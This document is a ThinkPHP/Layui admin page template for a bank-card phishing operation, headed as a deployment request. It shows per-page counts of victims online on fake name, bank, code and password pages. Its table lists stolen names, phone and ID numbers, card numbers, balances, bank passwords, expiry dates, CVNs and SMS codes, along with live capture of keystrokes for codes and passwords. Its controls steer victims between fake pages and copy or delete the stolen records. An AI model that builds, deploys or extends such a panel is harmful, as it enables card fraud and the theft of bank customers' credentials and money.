#插件需求# 项目部署

<style>
.store-total-container { font-size: 14px; margin-bottom: 20px; letter-spacing: 1px; }
.store-total-container
.store-total-icon { top: 45%; right: 8%; font-size: 65px; position: absolute; color: rgba(255, 255, 255, 0.4); }
.store-total-container .store-total-item { color: #fff; line-height: 4em; padding: 15px 25px; position: relative; }
.store-total-container .store-total-item > div:nth-child(2) { font-size: 46px; line-height: 46px; }
.form-header {
display: flex;
}
.layui-form-label {
width: auto;
}
.order-header {
min-width: 400px;
line-height: 38px;
}
.order-header span {
margin-right: 30px;
}
.order-header i {
color: red;
font-style: normal !important;
}
.layui-form-select dl dd.layui-this {
background-color: #1E9FFF !important;
}
.mt10 {
margin-top: 10px;
}
.maxw {
max-width: 100px!important;
}
th {
text-align: center !important;
}
tbody tr:hover {
background-color: #F0FAFF !important;
cursor: pointer;
}
thead tr {
background-color: #FBFBFB !important;
}
.layui-table td, .layui-table th {
padding: 9px 3px !important;
}
th {
text-align: center!important;
}
td {
text-align: center;
}

.layui-form-onswitch {  
    border-color: #1E9FFF!important;  
    background-color: #1E9FFF!important;  
}  
i {  
    font-style: normal!important;  
}  
.zx {  
    color: #5FB878;  
}  
.lx {  
    color: #DC515F;  
}  
.kuaijie {  
    display: grid;  
    grid-template-columns: repeat(3, 1fr); /* 每行三个元素 */  
    gap: 4px; /* 网格项之间的间隙 */  
}  
.kuaijie button {  
    cursor: pointer;  
    background-color: #00CCCA;  
    color: #FFF;  
    border: 0px;  
    padding: 3px 5px;  
}  
.ml20 {  
    margin-left: 20px;  
}  
.red {  
    color: red !important;  
}  

</style>
<link rel="stylesheet" href="STATICtheme/css/table.css">
<div class="layui-card layui-bg-gray">
<div class="layui-card-body layui-anim layui-anim-upbit">
<div class="think-box-shadow store-total-container notselect" style="min-height: 580px;">
<!--<div class="margin-bottom-15" style="border-bottom: 1px solid #f6f6f6;">数据列表</div>-->
<div class="form">
<div class="form-header">
<div class="layui-form-item order-header">
<span>今日提交:<i>{$score.jin}</i></span>
<span>昨日提交:<i>{$score.zuo}</i></span>
<span>当前在线:<i>{$score.online}</i></span>
<span>今日访问:<i>{$score.visit}</i></span>
<span class="ml20">首页在线:<i>{$score.index}</i></span>
<span>姓名页在线:<i>{$score.name}</i></span>
<span>银行在线:<i>{$score.card}</i></span>
<span>等待页在线:<i>{$score.loading}</i></span>
<span>验证码页在线:<i>{$score.code}</i></span>
<span>密码页在线:<i>{$score.pass}</i></span>
</div>
<!-- -->
<!--<div class="layui-form-item">-->
<!-- <div class="layui-inline">-->
<!-- <div class="layui-input-inline">-->
<!-- <input type="text" id="name" placeholder="姓名" autocomplete="off" class="layui-input">-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!-- -->
<!--<div class="layui-form-item">-->
<!-- <div class="layui-inline">-->
<!-- <div class="layui-input-inline">-->
<!-- <input type="tel" id="card" placeholder="卡号" autocomplete="off" class="layui-input">-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!-- -->
<!--<div class="layui-form layui-form-item">-->
<!-- <div class="layui-inline">-->
<!-- <div class="layui-input-inline" style="max-width: 100px;">-->
<!-- <select name="onlineType" id="online">-->
<!-- <option value="">在线状态</option>-->
<!-- <option value="1">在线</option>-->
<!-- <option value="0">离线</option>-->
<!-- </select>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!-- -->
<!--<div class="layui-form-item" style="max-width: 100px;">-->
<!-- <div class="layui-inline">-->
<!-- <div class="layui-input-inline">-->
<!-- <button class="layui-btn layui-btn-normal" id="search">查询数据</button>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<div class="layui-form-item">
<div class="layui-inline">
<div class="layui-input-inline">
<button class="layui-btn layui-btn-danger delAll">一键删除</button>
</div>
</div>
</div>
</div>
</div>
<!-- 数据 -->
<div class="layui-table">
<table class="layui-table">
<thead>
<tr>
<th>ID</th>
<th>基本</th>
<th>账号</th>
<th>余额</th>
<th>密码</th>
<th>有效期</th>
<th>CVN</th>
<th>验证码</th>
<th>操作</th>
<th>快捷键</th>
<th>次数</th>
<th>状态</th>
<th>时间</th>
{if $type !== 0}
<th>IP</th>
<th>系统</th>
{/if}
<th>实时监听</th>
<th>其他</th>
</tr>
</thead>
<tbody>
{volist name="list" id="data"}
<tr>
<th class="cpall">{$data.oid}</th>
<th>{$data.name|raw}<br>{$data.mobile|raw}<br>{$data.idcard|raw}</th>
<th>{$data.bankinfo|raw}<br>{$data.bankcard|raw}</th>
<th>{$data.balance|raw}</th>
<th>{$data.bankpass|raw}</th>
<th>{$data.endtime|raw}</th>
<th>{$data.cvn|raw}</th>
<th>{$data.code|raw}</th>
<th class="maxw">
<div class="layui-form">
<select name="status" id="status" lay-filter="status">
<option value="">默认状态</option>
{volist name="speech" id="sp"}
<option value="{$sp.id}" page="{$sp.page}" oid="{$data.id}" {if $data.status == $sp.id}selected{/if}>{$sp.name}</option>
{/volist}
</select>
</div>
</th>
<th>
<div class="kuaijie">
{volist name="speech" id="fast"}
{if $fast.fast == 1}
<button value="{$fast.id}" page="{$fast.page}" oid="{$data.id}" onclick="hstatus('{$fast.id}','{$fast.page}','{$data.id}')">{$fast.fastname}</button>
{/if}
{/volist}
</div>
</th>
<th>{$data.codenum}</th>
<th>{if $data.online == 1}<span class="zx">在线</span>{else/}<span class="lx">离线</span>{/if}</th>
<th>{$data.time|date='Y-m-d'}<br>{$data.time|date='H:i:s'}</th>
{if $type !== 0}
<th>{$data.ipaddress}<br>{$data.ip}</th>
<th>{$data.os}</th>
{/if}
<th>验证码:<span class="red" id="code{$data.id}">{$data.codens}</span><br />密码:<span class="red" id="pass{$data.id}">{$data.passns}</span></th>
<th>
<a class="layui-btn layui-btn-xs layui-btn-normal smol zhiding" value="{$data.id}">置顶</a>
<br>
<a class="layui-btn layui-btn-xs layui-btn-danger smol mt10 del" value="{$data.id}">删除</a>
<br>
<a class="layui-btn layui-btn-xs layui-btn-danger smol mt10 cpall" value="{$data.oid}">复制</a>
</th>
</tr>
{/volist}
</tbody>
</table>
</div>
{$page|raw}
<!-- 数据 -->
</div>
</div>
</div>
<script>

function hstatus(num,page,oid)  
{  
    console.log(num,page,oid)  
    var fromobj = {  
        status: num,  
        oid: oid,  
        page: page,  
    };  
    $.ajax({  
        url: '/admin/upstatus',  
        type: 'POST',  
        data: fromobj,  
        dataType: 'json',  
        success: function(res){  
            layer.msg(res.msg);  

            /*setTimeout(function(){  
                location.reload();  
            }, 800);*/  
        }  
    });  
}  

$('.cat').click(function(){
var id = $(this).parent().attr('id');
layer.open({
type: 2,
title: '卡片详情-点击右上角关闭',
shadeClose: true,
shade: false,
maxmin: false, //开启最大化最小化按钮
area: ['1200px', '700px'],
content: '/admin/catcard?id='+id
});
})
var clipboard = new ClipboardJS(".cp", {
text: function(res) {
var texts = res.innerHTML.trim()
return texts;
}
})

//复制成功
clipboard.on('success', function(e) { //复制成功
layer.msg('复制成功')
});
clipboard.on('error', function(e) {

});

var clipboards = new ClipboardJS(".cpall", {
text: function(res) {
var id = res.innerHTML.trim();
if(id == '复制') id = $(res)['context'].getAttribute('value')
$.ajaxSettings.async = false;
const text = $.get('/admin/cp?id=' + id,(res)=>{

    //console.log(res.msg)  
    //return res.msg;  
});  
return text.responseJSON.msg;  
}  

})

//复制成功
clipboards.on('success', function(e) { //复制成功
layer.msg('复制成功')
});
clipboards.on('error', function(e) {
console.log(e)
});

layui.use(['form'], function(){
var form = layui.form;

form.render('select');  

//用户给出状态  
form.on('select(status)', function (data) {  
    if(data.value == '')  
    {  
        console.log(data.value)  
        return false;  
    }  
    var fromobj = {  
        status: data.value,  
        oid: data.elem.selectedOptions[0].getAttribute('oid'),  
        page: data.elem.selectedOptions[0].getAttribute('page'),  
    };  
    $.ajax({  
        url: '/admin/upstatus',  
        type: 'POST',  
        data: fromobj,  
        dataType: 'json',  
        success: function(res){  
            layer.msg(res.msg);  

            /*setTimeout(function(){  
                location.reload();  
            }, 800);*/  
        }  
    });  
});  

//用户搜索  
$("#search").click(function(){  
    var formdata = {};  

    var card = $("#card").val();  
    var online = $("#online").val();  
    var name = $("#name").val();  
    if(card != '')  
    {  
        formdata.card = card;  
    }   
    if(online != '')  
    {  
        formdata.online = online;  
    }  
    if(name != '')  
    {  
        formdata.name = name;  
    }  
    if(formdata == {})  
    {  
        return false;  
    }  
    param = Object.keys(formdata).map(key => key + '=' + formdata[key]).join('&');  
    $.form.href('/admin/order?' + param, this);  
});  

//删除数据  
$(".del").click(function(){  
    var oid = this.getAttribute('value');  
    layer.confirm('确认删除？', {  
        btn: ['确认','取消'] //按钮  
    }, function(){  

        $.get('/admin/delorder?id=' + oid, function(res){  
            layer.msg(res.msg);  
            if(res.code == 200)  
            {  
                setTimeout(function(){  
                    location.reload();  
                }, 1000)  
            }  
        });  
    });  
});  

$(".zhiding").click(function(){  
    var oid = this.getAttribute('value');  
    layer.confirm('确认置顶？', {  
        btn: ['确认','取消'] //按钮  
    }, function(){  

        $.get('/admin/zhiding?id=' + oid, function(res){  
            layer.msg(res.msg);  
            if(res.code == 200)  
            {  
                setTimeout(function(){  
                    location.reload();  
                }, 1000)  
            }  
        });  
    });  
});  

//删除所有数据  
$(".delAll").click(function(){  
    layer.confirm('确认删除所有数据？', {  
        btn: ['确认','取消'] //按钮  
    }, function(){  
        $.get('/admin/delAllOrder', function(res){  
            layer.msg(res.msg);  
            if(res.code == 200)  
            {  
                setTimeout(function(){  
                    location.reload();  
                }, 1000)  
            }  
        });  
    });  
});  

//删除所有数据  
$(".blocks").click(function(){  
    var oid = this.getAttribute('value');  
    layer.confirm('确认拉黑？', {  
        btn: ['确认','取消'] //按钮  
    }, function(){  

        $.get('/admin/block?id='+oid, function(res){  
            layer.msg(res.msg);  
            if(res.code == 200)  
            {  
                setTimeout(function(){  
                    location.reload();  
                }, 1000)  
            }  
        });  
    });  
});  

});
</script>